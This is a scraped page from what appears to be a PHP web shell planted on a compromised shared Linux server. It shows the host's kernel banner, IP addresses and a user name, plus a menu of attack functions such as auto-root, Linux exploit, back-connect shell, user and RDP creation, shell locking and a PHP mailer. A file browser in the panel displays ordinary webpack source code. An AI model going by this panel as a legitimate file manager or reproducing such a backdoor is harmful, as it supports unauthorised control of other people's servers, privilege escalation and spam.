Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
webpack /
lib /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
NodeChunkTemplatePlugin.js
690
B
-rw-r--r--
NodeEnvironmentPlugin.js
1.3
KB
-rw-r--r--
NodeHotUpdateChunkTemplatePlug...
986
B
-rw-r--r--
NodeMainTemplate.runtime.js
846
B
-rw-r--r--
NodeMainTemplateAsync.runtime....
1.37
KB
-rw-r--r--
NodeMainTemplatePlugin.js
10.06
KB
-rw-r--r--
NodeOutputFileSystem.js
503
B
-rw-r--r--
NodeSourcePlugin.js
3.88
KB
-rw-r--r--
NodeTargetPlugin.js
508
B
-rw-r--r--
NodeTemplatePlugin.js
880
B
-rw-r--r--
NodeWatchFileSystem.js
2.69
KB
-rw-r--r--
ReadFileCompileWasmTemplatePlu...
1.42
KB
-rw-r--r--
nodeConsole.js
3.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReadFileCompileWasmTemplatePlugin.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const Template = require("../Template"); const WasmMainTemplatePlugin = require("../wasm/WasmMainTemplatePlugin"); class ReadFileCompileWasmTemplatePlugin { constructor(options) { this.options = options || {}; } apply(compiler) { compiler.hooks.thisCompilation.tap( "ReadFileCompileWasmTemplatePlugin", compilation => { const generateLoadBinaryCode = path => Template.asString([ "new Promise(function (resolve, reject) {", Template.indent([ "var { readFile } = require('fs');", "var { join } = require('path');", "", "try {", Template.indent([ `readFile(join(__dirname, ${path}), function(err, buffer){`, Template.indent([ "if (err) return reject(err);", "", "// Fake fetch response", "resolve({", Template.indent([ "arrayBuffer() { return Promise.resolve(buffer); }" ]), "});" ]), "});" ]), "} catch (err) { reject(err); }" ]), "})" ]); const plugin = new WasmMainTemplatePlugin( Object.assign( { generateLoadBinaryCode, supportsStreaming: false }, this.options ) ); plugin.apply(compilation.mainTemplate); } ); } } module.exports = ReadFileCompileWasmTemplatePlugin;
Close